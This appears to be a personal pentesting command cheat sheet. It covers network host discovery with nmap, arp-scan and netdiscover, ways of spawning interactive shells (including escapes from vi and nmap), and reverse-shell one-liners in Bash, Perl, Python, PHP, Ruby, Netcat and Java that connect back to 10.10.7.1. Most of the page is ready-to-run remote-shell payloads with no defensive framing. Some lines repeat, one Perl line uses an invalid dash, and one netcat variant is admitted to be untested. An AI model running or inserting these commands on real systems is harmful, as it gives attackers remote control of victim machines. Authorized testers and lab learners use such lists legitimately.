This page is intended to be a gathering point for any and all commands that I find useful. I will update it at random and try to keep it organized. Depending on how large it gets, I may break it out into different pages based on category.
Reconnaissance
Host Discovery
nmap ping scan
nmap -sn [IP Range]
nmap -sn 10.10.7.0/27
nmap -sn 10.10.7.0/27
arp-scan
arp-scan -I [interface] -l
arp-scan -I eth1 -l
arp-scan -I eth1 -l
netdiscover
netdiscover -i [interface] -r [IP range (optional, must be /8 /16 or /24)]
netdiscover -i eth1 -r 10.10.7.0/24
netdiscover -i eth1 -r 10.10.7.0/24
Misc
Spawning a TTY Shell
python -c 'import pty; pty.spawn("/bin/sh")'
echo os.system('/bin/bash')
/bin/sh -i
perl —e 'exec "/bin/sh";'
perl: exec "/bin/sh";
ruby: exec "/bin/sh"
lua: os.execute('/bin/sh')
(From within Interactive RuBy shell (IRB)):
exec "/bin/sh"
(From within vi):
:!bash
(From within vi):
:set shell=/bin/bash:shell
(From within nmap):
!sh
Reverse Shells
Bash
bash -i >& /dev/tcp/10.10.7.1/8080 0>&1
PERL
perl -e 'use Socket;$i="10.10.7.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.7.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
PHP
php -r '$sock=fsockopen("10.10.7.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
Ruby
ruby -rsocket -e'f=TCPSocket.open("10.10.7.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
Netcat
nc -e /bin/sh 10.10.7.1 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.7.1 1234 >/tmp/f
This next one supposedly eliminates the fifo that the above one-liner creates in /tmp/ but I have not had a chance to test it out yet
{ nc 10.10.7.1 1234 < /dev/fd/3 | sh 3>&-;}3>&1|:
Java
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.7.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.7.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()